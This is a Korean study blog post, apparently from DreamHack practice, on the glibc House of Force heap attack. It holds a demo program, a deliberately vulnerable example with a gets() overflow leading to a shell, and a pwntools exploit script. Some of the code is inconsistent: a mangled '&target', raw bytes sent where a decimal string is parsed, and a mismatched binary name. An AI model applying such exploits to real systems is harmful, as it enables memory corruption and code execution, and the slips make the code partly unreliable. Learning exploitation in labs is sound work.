CIDY
[System_Hacking] House of Force + 예제 본문
top chunk의 사이즈를 조작해 임의 주소에 청크를 할당하는 공격 기법이다.
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
...
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
...
use_top:
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
...
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
위 코드는 _int_malloc으로, top chunk를 처리하는 코드이다.
코드를 보면 탑청크의 사이즈가 할당 요청 크기(nb)보다 크거나 같다면 힙 영역에 할당한다. -> 요청 크기보다 탑청크 크기가 작을 경우 sysmalloc을 통해 추가적으로 영역을 매핑해서 할당하게 된다.
탑청크의 사이즈를 2^64 -1(64비트) 혹은 2^32-1(32비트)로 조작한 뒤(0xffffffffffffffff == -1 -> mmap호출 방지?라는데), [원하는 주소 - 탑청크주소 - 0x10(헤더때문인듯)]크기로 청크를 할당하면, 한번 더 할당할 때 원하는 주소에 청크 할당이 가능하다.
// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
char *buf1;
char *trash;
char *exploit;
__uint64_t* top_chunk_size_addr;
__uint64_t exploit_size = 0;
__uint32_t target_addr = ⌖
buf1 = malloc(0x100);
top_chunk_size_addr = buf1 + 0x108;
fprintf(stderr,"target : %s\n", target);
fprintf(stderr,"buf1 : 0x%x\n", buf1);
fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
*top_chunk_size_addr = 0xffffffffffffffff;
exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
trash = malloc(exploit_size);
exploit = malloc(0x100);
fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
strcpy(exploit, "exploited!!!!!!");
fprintf(stderr,"target : %s\n", target);
return 0;
}
위 코드에서 buf1이라는 청크를 하나 할당하면 탑청크는 그 아래 바로 붙어있는데, 탑청크도 말 그대로 청크이니 헤더가 있다. -> buf1 + 0x100(할당 요청한 크기) 하고 prev_size있고 그 다음이 size라서 top chunk size의 주소는 buf1 + 0x108이 되는 것임.
그리고 그 주소를 참조해서 값을 0xffffffffffffffff로 바꿔버렸다.
그리고 원하는 주소 - 0x10 - 탑청크주소 - 0x8만큼 할당 요청을 했다.
만약 할당하고싶은 주소가 0x~~78이면 청크는 0x10단위로 정렬되기 때문에 해당 값을 딱 맞추면 0x~~80에 할당될 수 있음 -> 0x~~70에 할당하기 위해 0x8을 더 빼주는 것임. (만약 할당을 원하는 주소가 0x10의 배수라면 알아서 그 배수로 정렬될테니 신경쓸 필요 없는 부분이고.)
그리고 할당한 주소에 strcpy를 하니 target이 수정된 것을 볼 수 있다.
*예제
// gcc -o force2 force2.c
// 64-bit, full relro, canary, nx, pie
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
char* buf1;
char* buf2;
char* trash;
char malloc_size[21];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
buf1 = malloc(0x20);
write(1, &buf1, 8);
gets(buf1);
write(1, "input malloc_size : ", 19);
read(0, malloc_size, 21);
trash = malloc(strtoull(malloc_size, NULL, 10));
buf2 = malloc(0x100);
write(1, "write to target : ", 17);
read(0, buf2, 0x100);
if(overwrite_me == 0xdeadbeefcafebabe){
system("/bin/sh");
}
return 0;
}
우선 buf1의 값을 알려줌 == 힙 영역 주소 제공
그리고 gets를 이용해 탑청크 헤더의 사이즈 부분을 덮어버릴 수 있다.
그리고 두 번째 메모리를 어디 할당할지 잘 계산해서 한 번 할당해준 뒤, 적절한 사이즈로 다시 할당해주면 overwrite_me에 할당되어 덮을 수 있게 된다.
from pwn import *
p = process("./force")
e = ELF("./force")
buf1 = u64(p.recvn(8))
print(hex(buf1))
pay = b"A" * 0x20
pay += b"B" * 0x8
pay += p64(0xffffffffffffffff)
p.sendline(pay)
malloc_size = 0xffffffffffffffff & (e.sym['overwrite_me'] - (buf1 + 0x28) - 0x18)
p.recvuntil(b"input malloc_size :")
p.send(p64(malloc_size))
p.recvuntil(b"write to target :")
pay = p64(0xdeadbeefcafebabe) * 2
p.send(pay)
p.interactive()
비트 연산을 해 준 이유는 연산의 결과값이 음수이기 때문이다.
'Hack > DreamHack' 카테고리의 다른 글
[System_Hacking] cube (0) | 2022.08.12 |
---|---|
[System_Hacking] house_of_force (0) | 2022.08.10 |
[System_Hacking] Tcache House of Spirit + 예제 (0) | 2022.08.10 |
[System_Hacking] 문제풀이(Bypass SECCOMP-1) (0) | 2022.08.09 |
[System_Hacking] 문제풀이(Tcache Poisoning) (0) | 2022.08.09 |